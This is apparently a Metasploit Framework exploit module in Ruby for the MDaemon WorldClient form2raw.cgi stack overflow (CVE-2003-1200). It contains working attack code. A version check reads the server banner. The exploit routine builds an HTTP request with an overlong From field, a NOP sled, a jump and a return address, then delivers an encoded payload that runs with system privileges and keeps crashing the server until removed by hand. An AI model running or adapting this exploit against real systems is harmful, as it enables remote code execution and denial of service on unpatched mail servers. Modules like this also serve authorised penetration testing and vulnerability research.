MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Alt-N MDaemon SMTP server for  
versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default),  
a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe,  
by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default),  
the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based  
overflow occurs when an excessively long From field is specified.  
The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes.  
Keep this in mind when choosing payloads or setting WfsDelay... You'll need to wait.  
  
Furthermore, this exploit uses a direct memory jump into a nopsled (which isn't very  
reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will  
continue to crash/execute the payload until the CGI output is manually deleted  
from the queue in C:\MDaemon\RawFiles\*.raw.  
},  
'Author' => [ 'patrick' ],  
'Arch' => [ ARCH_X86 ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2003-1200' ],  
[ 'OSVDB', '3255' ],  
[ 'BID', '9317' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 900,  
'BadChars' => "\x00\x0a\x0d%\x20@<>&?|,;=`()${}\#!~\"\xff\/\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
# Patrickw - Tested OK-ish 20090702 w2k  
[ 'Universal MDaemon.exe', { 'Ret' => 0x022fcd46 } ], # direct memory jump :(  
[ 'Debugging test', { 'Ret' => 0x44434241 } ],  
],  
'DisclosureDate' => 'Dec 29 2003',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(3000),  
],self.class)  
end  
  
def check  
connect  
sock.put("GET / HTTP/1.0\r\n\r\n")  
banner = sock.get(-1,3)  
disconnect  
  
if (banner =~ /WDaemon\/6\.8\.[0-5]/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
sploit = "GET /form2raw.cgi?From=" # Trigger vuln  
sploit << "\x90" * 242 # We set EIP to the middle of this.  
sploit << Rex::Arch::X86.jmp_short(61) # Then jump over some junk memory.. 60 is precise but is a badchar.  
sploit << [target['Ret']].pack('V') + "c" # Return address, plus 1 byte overwrite for ESP... 'c'  
sploit << "&To=#{Rex::Text.rand_text_alpha(12)}@#{Rex::Text.rand_text_alpha(12)}.#{Rex::Text.rand_text_alpha(3)}"  
sploit << "&Body=" + "\x90" * 1 # 1 Byte for short jump.  
sploit << payload.encoded + " HTTP/1.0"  
  
sock.put(sploit + "\r\n\r\n")  
res = sock.get(3,3)  
  
if (res =~ /Message spooled but will be deleted if not FROM a valid account/)  
print_status("Payload accepted by WorldClient Form2Raw CGI!")  
print_status("Wait for the Raw Queue to be processed (1 to 60 minutes).")  
else  
print_status("Message not accepted. Vulnerable target?")  
end  
  
handler  
disconnect  
end  
end  
`